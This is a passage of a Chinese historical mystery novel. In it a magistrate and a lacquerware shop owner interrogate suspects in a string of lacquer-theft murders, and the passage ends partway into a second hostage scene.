“我要如何?王典史为了利益杀害知县父女,还有将那些可怜的采漆工一个个害死时,可有过一丝恻隐之心?怎么轮到自己时,就如此害怕了呢?”方骅收起笑,目光如炬道。 “啊……啊啊……别说了,求求你别说了。我招,我招还不行吗?”王大龙似是彻底癫狂,一边狂乱地磕头,一边大声说道。 “陈全,请师爷过来!”方骅站起身,开口。 “是!” 陵县的师爷在走进暗室时,看着地上跪着的已然面目全非的王典史,表情有了一丝变化。 “后山山洞里十余采漆人之死,可是你所为?”方骅面容严肃地坐回堂上,开始正式问话。 “是我和漆器店的孙掌柜一起犯下的。”王大龙老实答道。 “原因为何?”方骅问。 “偷漆。孙掌柜说他有路子,可以送远点卖掉,然后五五分账。我命人将他们请至漆林,投毒后推进山洞。再安排自己人扮作采漆人进去采漆。”这次,他终于不再隐瞒了。 “采来的大漆就存放在漆器店内?”方骅继续。 “是的。我昨夜,便是去将孙掌柜还未来得及运走的大漆拿走。”他动作极度缓慢地点了点头。 方骅冷笑,“堂堂典史监守自盗,你难道不觉有愧吗?” 年迈的师爷听到这里,拿着笔的手开始微微颤抖。他不可置信地抬起眼,看向那个曾经铁骨铮铮,如今却狼狈匍匐在地的男人。 “呵……”王大龙头未抬,冷笑一声道:“我曾经也是满心抱负之人,可再有抱负又能怎么样?陵县这个边缘之地,除了漆树闻名些,谁记得我们这些默默守护瑰宝之人?” “这就是你贪污的原因?”方骅问。 “你以为,苏林生就不怨吗?当年,朝廷派他下来当陵县知县,他刚一上任,便碍于恩情娶了与他仕途无益的富商之女,你以为他真的就愿意吗?”王大龙一句接着一句问道。 “不要把别人想得都与你一样。”方骅最看不起那些遇事便怨天怨地之人。 “知县大人敬爱夫人,这是陵县人人都知道的事情。夫人因病去世,大人伤心到无法正常进食,这事你难道不知吗?”师爷知道自己本不该开口,可大人都死了,还要受这等污蔑,他实在是没忍住。 “敬爱,呵呵!他不敬爱又能怎么办?这可是救了他性命之人的女儿啊。”王大龙猛地看向师爷,嘲笑道。 “别人的家事关你何事?这和你心思歹毒有半分关系吗?不想着为民作福,日日将心思放在这上面,难怪会做出此等下作之事。”方骅不想再听他狡辩了,心黑之人,看什么都是暗色的。 王大龙不再说话,摆出一副你们知道什么的神情。 方骅刚才走过来时,便让陈全将琉璃盏放回桌面。此刻,他的手有一搭没一搭地玩着盏盖,目光却一直冷冷地直视着王大龙。 “我本不想杀他们的。”突然,王大龙幽幽说道。 第十三章 髹饰影(13) “可你还是动手了。” 王大龙不再狼狈地跪在地上,不管不顾地站起了身。陈全准备上前压住他,被方骅伸手制止。 他仿若暗室无人一般,拖着沉重的锁链慢悠悠走了好几个来回,又回到原地看着方骅,“那晚,我本和孙掌柜商量好运走第一批大漆。结果我们的好知县,非要让我留下来调查近日城中店铺屡屡失窃一案。我着急忙慌地查完后,便起身离开县衙赶去漆器铺。谁知……” “继续说!”方骅见他停了下来,催促道。 苦笑一声,王大龙继续说道:“失窃一案,我因为着急抓错了人。我们的苏知县苏大人亲自追过来告知,却在漆器店门外听见了我与孙掌柜的密谋。” “所以你当晚就杀了苏林生与苏婉琰?”方骅冷声询问。 王大龙并未回答是与不是,只装模作样地叹了口气,似是极为无奈,“我尝试过拉他一起,却被他断然拒绝。他还说,没想到我会变成这个样子,对我非常失望。呵呵……失望?” 他冷哼一声,无所谓道:“他对我失望又有什么所谓?这十几年来,我每日都熬在这永无出头之日的偏远县城里,谁又会看得起我?” “你问心无愧地做事,没有人会看不起你。除非你本身就瞧不起自己。”对于他的诡辩,方骅不置可否。 方骅的话似乎戳中了王大龙的痛楚,只见他狂乱地转过头,嚣张道:“我现下已是你的阶下囚,随你怎么说。你们这些从小锦衣玉食之人,没有资格评论我和苏林生!” “我只评论你,苏知县可没你这种想法。”方骅面无表情道。 “所以,他才会死!”王大龙恶狠狠看向他,一字一句道。 方骅实在不懂这人的逻辑,当然他也不想去深究,自己的目的只是查清大漆贪污杀人案的前因后果。 于是,他继续追问:“那苏婉琰和你又有什么仇恨,你要杀了她?” “婉琰是我看着长大的。”王大龙的情绪突然又变得有些低落,他双手抱头,表情像做错了事一般,”可偏偏就是那么不巧,那日她正好晚归,亲眼撞见我杀了她爹。“ ”然后你一不做二不休,直接将她杀了灭口?“方骅接过话,问道。 王大龙放下手,苦笑一声:”做都做了,杀一个和杀两个又有什么不同。如果不是婉琰的贴身婢女跑得快,她还不是也得死!“ 方骅不再追问,静默下来想了许久,后问道:“你什么时候动的手?” “3日前。”王大龙老实答道。 “动手后,你做过什么?“方骅继续问道。 “我遣散了苏林生府中的下人。他是外县人,家中人丁稀薄只得苏婉琰一独女。所以我只要对外谎称他抱恙在家,拖个几日是完全没有问题的。只是没想到,竟这么快就被你们发现了。”看他的表情,好像还很是不甘。 “这不正是你的计谋吗?对两具尸身涂上大漆延缓腐烂,导致猜不出死亡时辰。过几日后再故意让人发现尸身,使早已不在县衙的你无法被人怀疑。”方骅说出他的计划。 他话音刚落,王大龙却用一种很茫然的眼神看向他。 想了好一会儿,他的眼神才从茫然变为了然,“我承认,在杀死苏林生时,确实不小心碰倒过一小只装大漆的盒子。也为了暂时让人认不出他,顺手毁了他的容。但我怎么也不会变态到去对婉琰的尸身做任何手脚!” 其实从刚开始问话,方骅就一直感觉有些不对劲。但为了尽快破案,他并未直接询问,而是选择听王大龙讲述完后,再一一捋清。 但这种不对劲的感觉,在听到王大龙说了上句话时,瞬间达到了顶峰。 这个王大龙,连杀人都直接干脆地承认了,不至于在一些别的问题上多作隐瞒。 难道,这一切真的被他和冷萤猜对了? “那你这几日跑去哪里了?不会真的去邻县办事了吧?”所以,他决定从另一处下手。 王大龙摇了摇头,毫不隐瞒道:”婉琰的婢女青果无父无母,唯有一表亲在邻县种地。我怕她坏我的事,再加上苏林生父女尸身被发现时,我本人不可在场,便正好赶去邻县抓她。” “人呢?抓到了吗?”看对方的表情,方骅猜想应该是没抓住。 果然,王大龙再一次摇头,“青果那表亲说,自年后便再也未见过她。” 方骅点头表示明白,随后又问道:“那张福临呢?他一个霞锦阁的漆工,又因何事得罪了你?” “张福临?”王大龙颓丧地站在原地,满脸不解道:“我记得他是霞锦阁的匠师,他怎么了吗?” 一句话,让方骅直接站起身来。 他绕到桌前,抓起王大龙已然破破烂烂的衣服,咬牙切齿地问道:“你是真不知他已死,还是假不知?” “他死了?”王大龙顿时反应过来,眼神变得坦然,“那和我又有什么关系?我和他无冤无仇,杀他作甚?“ 见对方瞪着双眼,一脸无畏地看着自己。方骅审视许久后,终于松开了他的衣服。 “漆器店的孙掌柜呢?他的死总和你有关系了吧?”方骅以最快的速度,一句接一句地问道。 可没想到,王大龙却依旧站在原地一动未动,直视着他坚定地摇了摇头。 直到这时,方骅才明白自己那不对劲的感觉来自哪里。从得知王大龙贪污到抓到他,这一切似乎都太顺利了。 顺利到他完全忽略了某些问题。 此刻的他感觉自己脑海里某个地方,突然就像被浓雾给覆盖住,一瞬间便迷失了辨案的方向。 倏然,他起身就朝暗室门外走去,头也不回地命令道:“陈全,带几个人跟着我出去一趟!” “是,大人!那……王典史怎么办?”陈全跟在他身后问。 方骅停下脚步,但并未看向王大龙,而是侧头看着师爷作礼,“今日麻烦师爷了,您就先回屋休息吧。” 待师爷离开后,他对在场的另外几人安排,“你们几个,好生守着王典史,不要给他做傻事的机会。其余几个在暗室外待命即可。” ”是!“留下来的几人异口同声回道。 陈全又跟在身后问了句:“大人,那琉璃盏还拿不?” “不用!” 方骅离开后,几人为了防止王大龙放火烧屋,将屋内几缕幽暗的烛火全部熄灭。 暗室再次陷入完全的黑暗中,只余下王大龙一个人失魂落魄地站在正中间垂着头,即不坐下也不走动。 须臾,他抬起被自己扯得杂乱无章的脑袋,眼神微微眯起,侧身偏头看着暗室大门,嘴角微微勾起一丝阴冷的笑容。 第十四章 髹饰影(14) 冷萤给方骅送完东西,并没有直接回府。 她手上拿着一件雕漆茶盘,正准备送去张福临的家中。她曾听另一名漆工说过,这是张福临生前的喜爱之物。 在出府给方骅送东西前,冷萤想了许久,还是将这茶盘带在了身上。 她记得,张福临好像是一个人住。自己将这茶盘送过去,等到他家人来收拾屋子时,正好可以带回去当做随葬品,陪他一起下葬。 她要去的地方虽不远,却有些偏僻。再加上此时天色已暗,冷萤到时已过了许久。 虽然知道屋内应该是没人,但她还是下意识敲了敲,随后才轻轻将门推开。刚一打开,映入眼帘的便是简陋的桌椅摆设。 冷萤走进大门,左右望了下,最后选择将茶盘摆放在屋子正中间的方桌上。 屋内一片漆黑,她并不想在黑暗的地方待太久,正准备离开时,发现张福临的床底有一抹亮色闪了闪。 只闪了一瞬,便被冷萤发现了那处不同,她走过去蹲下身子,从张福临的床下摸出了一只漆镯。 举起漆镯走至窗前,对着窗外的暗月晃了晃,她看见镯上的赤金纹在月光下,散发着淡淡的幽彩。 “镯体漆质髹涂不均匀,光泽不够滋润,纹理也不繁复。看上去,有点像是拿来练手的。”她自言自语地评价了一番。 如此稚嫩的手法,应当不是出自张福临之手。 难道,这房中曾经出现过第二人? 或许对方还逗留得足够久,所以才会让随身之物掉落在此处。 而且,这漆镯的圈口较大,一般姑娘的手腕子应该戴不了。且镯子上的纹样是虎纹赤金,这类花纹一般适用于男子。 漆镯虽不似漆器摆件那般名贵,但做法却极为复杂。 镯子光髹漆的次数,大约就要二十余次。且每髹涂一次,便要等大漆阴干后,才能进行下一步骤。 做起来如此费神的东西,丢了应该会着急找回才是,怎会出现在张福临的床下? 又或者丢失漆镯的人,并不知道镯子掉在哪处? 只是,她总觉得哪里有些不对…… 这念头刚刚闪过,冷萤便看见镯体的内侧中,有一处蜡状物。 她用指甲,将那一小点东西轻轻刮了下来,放到鼻尖闻了闻,又用手搓了搓,瞬间明白了是什么。 “这里怎么也会有石蜡?”她颇为想不明白地喃喃一句。 到目前为止,她已经在好几样漆物上发现了有石蜡的痕迹。 除了尸身表面大漆中混入的石蜡。 还有苏婉琰送来的凤鸟漆屏、漆器店尸体旁的漆器与这只漆镯。 这之间会不会真有什么关联,是他们还未曾想到的呢? 就在她聚精会神地,试图将所有事情串联到一起时,门外突然传来了轻微的响动声。 声音虽小,但在静谧的夜晚显得格外让人心惊。 冷萤忙将漆镯藏起,转身有些紧张地看向敞开的大门。 一道人影,被暗月投射进房。那身影看起来细细长长的,站在原地一动未动,但在她的眼里却蕴藏着极度的危险。 直到这时,她才意识到自己的胆子有多大。 竟一个人在夜里,跑到死过人的偏远小屋中,还逗留了大半天不肯走。 万一来人真有坏心,她只怕是很难逃出这里了。 “是谁?为什么站在外面不出声?” 唯一的出口被堵住,她只能寄希望于外面的这个人,是一位良善之辈了。 外面那人,似乎听见她的问询,地上的影子动了动。冷萤从影子的变化,便知那人应该要走进来了。 她默默地拔下头上的簪子,紧紧捏在手中用来防身。 “冷掌柜前脚才给我送完东西,后脚就跑到张福临的家中,又是为何?” 略带戏谑的嗓音从门口传了进来,冷萤瞬间听出了来者是谁,心下瞬间一松,整个身体放软了下来。 “夜已深,方大人还跑到素未谋面的死者家中是做什么呢?”她的声音不再紧张,开口反问道。 门口的月光,被来人完全遮住。方骅高大的身躯走进略显逼仄的小屋中,看见冷萤的第一眼便打了声招呼:“巧啊,冷掌柜。” 冷萤敷衍地勾了勾唇角,回道:“巧。” 真有这么巧?她是来送张福临的身前之物,那他呢? “大人查案,莫不是碰到了难处?”这是她唯一能猜到的了。 方骅一进门,眼睛便开始四下打量,随口回了句:“冷掌柜果真聪慧,这都能被你猜到。” 这谁能猜不到?冷萤偷偷在心里吐槽。 现在这个时辰,这位大人应当正在审问王大龙,却又突然跑到死者家中,必定是查案碰到了阻碍。 看方骅似乎不愿多说,冷萤将方才藏起来的漆镯拿出随手把玩着,随意问了句:“王大龙都招了吗?” 虽然知道自己不该多问的,但她是真心希望对方能早日破案。 方骅竟破天荒地叹了口气,随即道:“招是招了点,但似乎与我们想得略有偏差。” 冷萤偏头想了想,开口问道:“他是不是说,张福临和孙掌柜都不是他杀的?” 方骅略显意外地看向她,点了点头,“不光这二人不是他所杀,就连苏林生与苏婉琰尸身上那骇人的大漆,也并不出自他手。” 其实,从方骅踏进张福临屋里的一瞬间,冷萤便猜到了杀害张福临的人,可能并不是王大龙。 而孙掌柜,她与方骅早前也怀疑过,不是王大龙所为。 但苏林生与苏婉琰尸身被毁这件事,她还真没想到不是王大龙下的手。 “这不太可能吧?”她随口问了句。 没想到,方骅格外认真地回道:“在我这里没有可能或者不可能,一切都拿证据说话。” 说得也是,官员查案是需要讲证据的。 不像他们,拿着个什么就开始怀疑起来。 比如说,自己现在手中的这只漆镯…… 她还在犹豫,要不要将自己的猜测告诉方骅。 突然! 有些熟悉被打扰的声响,又从门外传了进来。 方骅正在屋子的另一处查探什么,听见门外有响动,瞬间警觉了起来。 只是他反应再快,也无法立刻赶回冷萤身边。 只能眼睁睁地看着一道黑影窜进来,在自己面前快速将冷萤掳走。 “站住!”他大喝一声,抬脚追了出去。 可让方骅实在没想到的是,那人听了他的喝声,居然真的还硬生生地停下了脚步。 来人挟持着冷萤无畏地转过身,瞬间让方骅看清了对方的长相。 “林云谢,你想干什么?” 第十五章 髹饰影(15) “我想干什么?难道尊贵的方大人看不出来吗?” 林云谢挑衅地看着方骅,扣着冷萤脖颈的手,越来越紧。 冷萤顾不得自己快要无法呼吸,反朝身后的人说道:“林云谢,你不要做糊涂事!我知道你得知婉琰的死讯,心里特别不好受,但你……” 她话还未说完,便被身后的人一语打断:“别跟我提她。她就是个心硬如铁的女子,还有她那个爹也是!” “婉琰对你那般好,你怎么……”猛地,冷萤察觉到了不对劲。 为何今日林云谢说话如此偏执?从前他明明是如翩翩公子一般的人。 “你先放了冷掌柜,我们有话好好说。”方骅试着安抚对方的情绪。 但他不开口则已,一开口林云谢的情绪瞬间崩溃。 他拖着冷萤连连退了好几步,手因为紧张越扣越紧。 “你,咳咳……为什么要这样说婉琰,她哪里对不住你了?”即便开口已经很艰难了,冷萤也想知道到底是为什么。 她不想苏婉琰那样好的女子,惨死后还要遭受未婚夫的诬陷。 明明以前两人的感情好到,陵县的百姓在他们还未正式成亲,便已经送上了最衷心的祝福,当然其中也包括冷萤。 可为什么……他们会走到这般境地? 林云谢在她身后讽刺一笑,“我说了又怎么样?反正人都已经死了,我现在不管说什么,也无人管得住了。” 冷萤实在想不明白,那个她曾经熟悉的林云谢,为何会变成如今这个样子。 “是因为苏知县要退婚的事情吗?”方骅试探性地问道。 方骅的话刚问出口,冷萤明显感觉到林云谢扣在自己脖子上的手僵了一瞬。 她以为他是受了太大刺激,听不得这些。 正准备继续问时,林云谢突然开口:“是又怎么样?现在他们父女俩已死透,退不退婚已经没什么所谓了。” 他们当然知道苏林生与苏婉琰已死,但奇怪的是,林云谢为什么一直在强调这件事情? “他们尸身上的大漆,是你做的吗?”既然对方不愿意放开她,冷萤只好以这种姿势开始问话了。 “当然。还有张福临和孙掌柜,全都是我所杀。这样说你们满意了吗?”林云谢倒是一点不隐瞒,冷萤一问,便一股脑地全都认了下来。 “为什么?这样做到底对你有什么好处?”方骅一边观察林云谢的动作,一边开口问道。 林云谢冷笑一声,开口道:“谁让那个老头子不让我成亲后纳了青果?苏婉琰这个女人也确实天真,不会真以为我娶了她之后,就一辈子只守着她一个吧?” “青果?”和青果又有什么关系,难道是…… 冷萤猛地想到了什么,不可置信地开口:“你的意思是,你在和婉琰有婚约的情况下,爱上了她的丫鬟青果?” 现在的林云谢陌生到,她以为自己认错了人。 “对啊,男人三妻四妾不是很正常吗?凭什么我就不行?难道就因为我娶了知县爱女?”他理所当然地开口,还略带轻蔑地一连问了好几句。 “像你这般心杂之人才会这样觉得,我总算知道苏知县为何要向人打听退婚事宜了。”方骅冷哼一声。 林云谢并没有理会方骅说的,他不知因为激动还是真想掐死冷萤,手上的动作又开始缓缓收紧。 一瞬间,冷萤感觉自己快要窒息而亡了。 她痛苦的表情被方骅察觉,他厉声对林云谢喝道:“别再执迷不悟了,冷掌柜是无辜的,你先放了她!” 倒是冷萤自己一点也不慌,自从听了林云谢方才的荒唐之言,她已经不对他抱有任何希望了。 她不顾对方的手还扣在自己脖颈处,趁着方骅讲话转移了他的注意力,从自己袖口扯出方才没用上的簪子,死命地往林云谢的手上一插。 “啊,好疼……你这个女人!” 林云谢因为突来的剧痛下意识地松开手,冷萤立刻以最快速度朝方骅跑去。 方骅见状,在林云谢反应过来想上前抓住冷萤时,飞速移至她的面前,提起一脚将扑过来的林云谢瞬间踢飞。 下一秒,对方就直接倒在地上,怎么爬也爬不起来了。 倒下的林云谢疼得呲牙咧嘴的,他的右手背上还插着刺入的簪子,血已经流得满手都是,一看就知道冷萤方才是用尽了全力。 她本来刚开始就有机会这样做的,但看在他曾经是婉琰未婚夫的份上,一直没狠下心。 直到这个男人,刚才居然大言不惭地说爱上了别人,还觍着脸想在婚后纳了婉琰的丫鬟,她才忍不住动了手。 对付这种三心二意的男子,她委实不必手下留情。 方骅怕林云谢又突然站起身,冲过去一脚踩在他的胸膛上,一边施力一边问:“你是怎么发现知县父女被杀害,又是如何得到大漆的?现在给本官一五一十地说清楚!” “我说,我说……”林云谢被压到喘不过气,虚弱道:“方大人可否先将脚移下来?” 方骅不理会他的请求,只冷冷道:“我刚才让你放了冷掌柜,你放了吗?” 此问一出,林云谢瞬间沉默。 见对方不作声,方骅略微施压,语带凶狠:“说!” 林云谢疼得几乎要昏过去了。就在方骅再次狠压时,他忍不住开口慢慢讲述了起来。 “七月初一那夜,我半夜悄悄从苏府侧门潜入,本来是想着去找青果的。可还没进去,就瞧见她一脸慌张地跑了出来。我正想问发生了什么事,便被她拉到一旁躲了起来。” “然后呢?”冷萤走上前问道。 林云谢此时的双眼看起来有些迷茫,他收敛起方才不可一世的模样,面无表情地陈述:“那夜,我亲眼看着王大龙半夜遣散苏家下人,然后将苏林生的房门上了锁,带着心腹去抓青果了。” “所以你就趁这个机会,进去对知县父女的尸身进行侮辱?”方骅冷声问道。 林云谢过了很久很久,才重重地点了点头。 “大概什么时辰?”方骅问了句。 “丑时末。”林云谢答。 “且不说,你向外散播谣言,说婉琰喜欢上了别人这件事。现在居然连她的尸身,你都不肯放过。林云谢,你到底有没有一点良心?”冷萤放在身侧的双手紧紧握着,生怕自已控制不住,一巴掌扇了上去。 “你凭什么说是我传的谣言?”林云谢仿佛失了神,有些神志不清地朝她问道。 “就凭,我认识的苏婉琰,绝对不可能做出这样的事情!”冷萤忍着气,一字一句地说道。 “我是说,你凭什么认为那个谣言是我传的?”说出这句话,林云谢的双眼慢慢聚焦,随后紧紧注视着冷萤。 “你……” 冷萤知道自己的想法过于偏颇,但这种事情,如果不是他这个移情别恋的人说,那还会有谁? 第十六章 髹饰影(16) “好,传谣这事暂且相信你。那现在说说,你为何要杀了张福临和孙掌柜。”方骅不想与他过多纠缠,开口问起另外两名死者的事。 “张福临啊……”林云谢苦笑一声,低声道:“我只是临时向他借了点大漆,谁让他好奇心如此重,非要偷偷跟着过来?” “所以,是因为张福临看见你侮辱苏林生父女的尸身,你便直接狠心将他给杀害了?”冷萤问道。 “没错。如果他老老实实在家待着,也许就不会死。我怕他看见后,到处传是我杀了苏林生和苏婉琰,所以只好将他灭口了。”林云谢说完,居然还无所谓地笑了笑。 “你明明可以用别的方法,为什么非要选择杀人?”曾经的端方君子,怎么会做出如此残忍的事。 冷萤曾听苏婉琰提过一嘴。 苏婉琰不大的时候,知道自己与林云谢的婚约,起初是不太情愿的。 但有次她无意在集市上,看见林云谢送了一位卖身葬父的姑娘,自己作的一幅画,让对方拿去卖掉。 当时不懂他为何要这样做,毕竟那姑娘现在缺的是银钱,林云谢他们家又不缺这些,为何还要绕这么大一个弯。 那姑娘本就心急,还得自己想办法将那幅画卖出去,才能得到银钱。 后面,苏婉琰实在忍不住,问出了自己的疑问。 林云谢告诉她,如果自己直接将银钱给了那位姑娘,会坏了她的名声。自己也不是真的想买下对方,只是帮个忙仅此而已。 那姑娘没了父亲,不能连未来也没有了。 而他的画作,虽没有值钱到画商一眼认出,但让那位姑娘替自己父亲料理后事,再管一段时间的温饱,却是没有问题的。 “你为什么变成了这个样子?”这句话,是冷萤替苏婉琰问的。 “哪个样子?冷掌柜,千万不要随意对一个人下定论。”林云谢扯开嘴角,“或许,我本来就是这样一个残酷的人,只是你不够了解我罢了。” 冷萤闭了闭眼不再说话,完全不想再理会林云谢。 她只是为苏婉琰感到惋惜,可惜了她这么多年的感情。 “那孙掌柜呢?”方骅再次问道。 “他难道不该死吗?”林云谢并未直接回答方骅的问题,而是反问他们。 方骅一下子动了气,冷声道:“他该不该死,不由你下定论。这个世间,有我们的存在,就是为了将这些恶人绳之以法。你又是以什么身份来处置他?” “哼……”林云谢讽刺一笑,“苍天若是有眼,怎会眼睁睁看着王大龙与孙掌柜狼狈为奸?方大人,你固然是查出了这一案,可那些还埋藏在暗处的勾当呢?你有这么大的精力,能一一查出吗?” “为何不能?以一个人的力量自然无法将暗藏的污秽找出。但我们不是只有一个人,也不需要你一个平头老百姓牺牲自己做这些。”他干脆反驳。 “哈哈哈,咳……等着你们在事情彻底结束后,再出现吗?”林云谢似是完全不相信方骅的话,夸张地笑岔了气。 “林云谢,或许你话说得没错。但这世间并非完美,刑科官员也不是神仙,如何能提前察觉到对方的恶意?况且,你不是也杀了无辜的张福临,做了这个恶人吗?”冷萤冷静地道出事实。 “方某只能说,会尽自己最大的努力,让这个世间少一丝污秽,多一点良善。”方骅知冷萤是在帮自己说话,感激地看了她一眼,才又低下头对林云谢坦然道。 林云谢似是并不相信方骅说的话,阴阳怪气道:“呵,方大人你不必同我说这些,只希望你以后……不要与那些人同流合污才好。” 方骅不再开口,他无须向不了解自己的人保证些什么。 “青果去了哪里?”于是,他开始询问这个从一开始,就与这桩案子有联系,却又完美隐身的丫鬟。 林云谢则是立刻答道:“我怕王大龙对她不利,命人将她送去了林家外县的宅子里,好生藏起来了。” 真就只是将人藏了起来?可他自第一次见林云谢后,便悄悄留下暗卫在四周蹲察。 暗卫的给他回复是,林家除了正常营生,并未有什么异常,更别说突然送一个人出县城了。 除非林云谢在事发后立即送走了人,但那时王大龙又带人在四处搜寻青果,他想要送一个大活人出县城,怕是不太容易。 这个林云谢,肯定在某个环节说了谎。 所以,他继续问道:“那你今夜又因何事来此?杀了人,你不跑远点,凑过来自投罗网这不合理吧?” 林云谢表情复杂地笑了笑,“迟早会查到我这里来,我又有何惧?但我今日确实不知你们也会前来。” “是因为婉琰送你的东西,落在了此处?”冷萤猜测。 林云谢几不可察地皱眉道:“你怎知?” 冷萤淡淡一笑,拿出自己方才因慌乱藏起来的漆镯,问道:“是这只漆镯吗?” “并不是!”林云谢表情微微一变,轻侧过头立刻答道。 “哦?那我就不知林公子夜闯张福临住宅,还企图劫持我所为何意了。”见他的反应,冷萤便知道自己问对了。 至于对方愿不愿意承认,那都不重要。 因为她忽然想起了一件事,苏婉琰有次曾向她打听过制作漆镯的方法。 当时的她并未放在心上,只随意说了些简单的制作步骤。 原本她只是想拿出来诈诈林云谢的,但见了他的表情,她便什么都懂了。 方骅懂了她话中的意思,也没再继续追问林云谢的目的。 他提高音量,说了句:“出来吧,押回去。” 下一瞬,陈全便带着几个人站到他们面前,恭敬道:“是!” “陈全在外面,大人怎么不早说?”冷萤问道。 害她废了一支簪子。 她目光惋惜地看着林云谢手心插着的簪子,久久不愿离开。但此时她若走上前拔掉,是不是过于残忍了些。 “我会命人洗干净后还你。”方骅见她不舍的样子,自然明了她的心思。 “那就多谢大人了。” 真不是她小家子气,只是那簪子并非普通的发簪,能拿回来当然是最好的。 道过谢,冷萤说起了正事:“此事有蹊跷,大人觉得呢?” “你说的是哪件事?”他们方才得到的情报不少,有些还不全是实话,他一时竟不知冷萤说的是哪一件。 冷萤举起手中的漆镯晃了晃,“依林云谢所说,他早已移情别恋。为了泄愤,他甚至还对苏婉琰的尸体动了手脚。怎么又会专门回来找苏婉琰送给他的漆镯?”光这一点,就十分不合理。 “人性,本就是复杂的。” 相比这个,方骅倒觉得另外一件事更加奇怪些。 但作为女子的冷萤,觉得自己的想法没错。 一个口口声声说自己背叛了未婚妻的人,怎么会在有可能被抓住的情况下,跑来找区区一只漆镯? 第十七章 髹饰影(17) 次日 起床后的冷萤还记挂着前一晚的事。 丫鬟琉月走进来汇报:“小姐,料房的有个小丫鬟说要见您。” “哪个小丫鬟?”冷萤一边梳头,一边问道。 “阿碧,她说有事要向您坦白,请您见她一面。”琉月上前接过梳子,帮她梳头,随即低声道:“小姐,我见她脸色不太对,要见吗?” “可能有什么急事,唤她进来吧?”她对着铜镜擦匀口脂,起身走出卧房。 侧厅里,丫鬟阿碧跪在冷萤面前,久久不愿起身。 冷萤见她一直保持这个样子,颇有些无奈道:“阿碧,你至少先把事情讲清,再认罪也不迟。不然外人看见了,还以为我动不动就罚你们呢。” 琉月机灵地上前扶起阿碧,安慰道:“小姐人很好的,你有什么事就直说吧。” 阿碧紧紧抓着琉月的手,这才终于愿意开口说话:“婢子有一日守夜时,弄丢了四斤石蜡。怕……怕小姐责怪,一直不敢说出来。” 原来是这件事情,看她怕成这样。冷萤正准备安慰一下对方,突然想到了什么,猛地脸色一沉。 阿碧见她表情骤变,又“扑通”一声跪了下去。 “小,小姐。婢子家贫,家中还有一幼弟刚入学堂。石蜡太贵重了,我们家赔不起的。这样……小姐我不要工钱了,我给您做一辈子工,您看可以吗?”阿碧说着说着,便开始磕起了头。 “琉月,快把阿碧扶起来。”冷萤出声。 阿婢被琉月扶到坐到一旁,她诚惶诚恐地瞄了一眼冷萤,好似只要冷萤面色稍微不顺,她便要立刻再跪下。 “阿碧,你不用这般紧张,石蜡失窃不光是你一个人的责任。现在,你好好回答我的问题,如果答得好就减轻处罚。”冷萤轻声细语地,安慰惊惶失措的阿碧。 “小姐。我一定知无不言。”阿碧说完又准备跪下,被琉月一把按在了原地。 “你说的那夜,是哪一夜,又是什么时辰?”冷萤见她同意,便开始询问。 “七月初一,寅时一刻。我回房拿了件东西,回来时看见一名女子从料房里匆匆走出。我便发觉不对劲,忙跑进去清点东西,就发现有大概四斤石蜡已经不见了。”阿碧带着哭腔说道。 七月初一,正是知县父女被害的那天晚上。 “那位女子,长什么模样?”冷萤抓住了重点。 “长相婢子没有看清楚,只看见她衣着华贵,却满身脏污。背影……”说到这里,阿碧又开始吞吞吐吐。 “想说什么都可以直接说。”冷萤尽量让自己语气放平,不给对方压力。 阿碧抬眼偷偷看了冷萤一眼,又快速垂下眼,一鼓作气道:“背影和小姐有点像!” “阿碧,你不要乱说!”琉月立刻警告她。 “琉月姐,阿碧说得都是真的。是……是小姐说我可以直接说的。”阿碧委屈地回道。 “没事,阿碧你继续。”冷萤对琉月摇了摇头,示意她不用管。 阿碧点点头,又继续说道:“我当时吓坏了,顾不上叫人便赶忙追上去,却在转角处看见她上了林家的马车。” “林家的马车?是米商林家吗?”冷萤具体问道。 “是的,小姐。” 按照林云谢的说法,丑时末他便已将尸体处理好,怎的寅时才跑到她阁中偷石蜡? 还让一位女子跑进来偷,那位女子又是谁? 青果? 可阿碧又说对方衣着华贵。青果一个丫鬟,又是与林云谢私约,不可能会打扮得如此引人注目。 冷萤感觉,自己似乎一下子有些弄不懂事情的发展了。 “小姐……”琉月见她半天不说话,不知在想些什么,轻声喊了一句。 “嗯?”冷萤回过神,便看见阿碧还可怜兮兮地看着自己。 她朝对方浅浅一笑,开口道:“我的问题你都答得很好。就罚你……今日将料房里里外外擦拭干净,抵消你的失责。” 阿碧似是完全没有想到会是这样的处罚,不可置信地抬起头看向冷萤,嘴里喃喃道:“小姐,是四斤石蜡啊……” 冷萤见她的反应,知她是个好姑娘,开口道:“我知道被偷走了多少。但你完成了我的要求,我自然也不能食言。快去干活吧!” 她话音刚落,阿碧激动地站起身,冷萤立刻察觉出她又想下跪,忙开口道:“琉月,带阿碧下去。” “是,小姐。” 看着两个丫鬟的背影,冷萤又陷入了沉思。 她完全未曾想到,林云谢拿去毁尸的石蜡,居然有可能出自她阁中。 还是将一切都想是太简单了。 她起初以为,林云谢是为了取得大漆,才杀了孙掌柜。但事实告诉她,并不是。 林云谢恨孙掌柜居然恨到,宁愿冒着被发现的危险向张福临求得大漆,也不愿动孙掌柜店里的一分一毫。 如此说来,偷取她阁中的石蜡应当也是这个原因。料房不像他在漆室有张福临这样熟悉的人,所以才会选择用这个方式。 可这样一来,他做这些事情便会复杂许多。 只是,一个如此疾恶如仇的人,真的会这般对自己的未婚妻吗? 苏林生与苏婉琰只是不让他纳妾,并没有做其他过分的事情得罪他。 他为何非要费这样大的功夫,只为了让他们死后变得面目全非,全身上下无一处整洁之处? 难道,他没有完全坦白? 等等! 她好像自始至终都忘记了一件事情,对方为什么非要给尸体涂上大漆。 其实这件事,她和方骅初见面时,就讨论过这个问题。 他们现在已经知道并不是王大龙毁尸,所以不存在混淆作案时间。 不是为了伪造时间,也不是为了给尸体防腐…… 那么,现在就只有一个最简单的原因摆在他们面前。 那就是,林云谢并不想让人看清尸体的全貌。 这也是为何苏婉琰的脸部,也会被毁容的原因! 不行,她要去找方骅! 林云谢他昨夜根本就没有说实话,也不知道那位方大人发现了没有。 林云谢恨孙掌柜是真的! 但……他是不是真的恨苏林生与苏婉琰,却还有待商榷。 还有,他今日真的只是过来找漆镯吗?他身上背着几条人命,就这么大摇大摆地跑到了张福临家中? 会不会,他压根早就知道,她与方骅此刻正在张福临那里。 所以才故意前来,就是想……自投罗网? 这么说来,他宁愿选择自投罗网,也要隐瞒的到底是什么呢? “琉月!”冷萤再也坐不住了。 “来了,小姐。”去而得返的琉月,一进门就听见小姐在唤她。 “帮我更衣,我们出去一趟!” 第十八章 髹饰影(18) 这是自己短短两日之内,第二次被劫持。 冷萤感受抵在自己脖间的利刃,表情颇为无奈地想着。 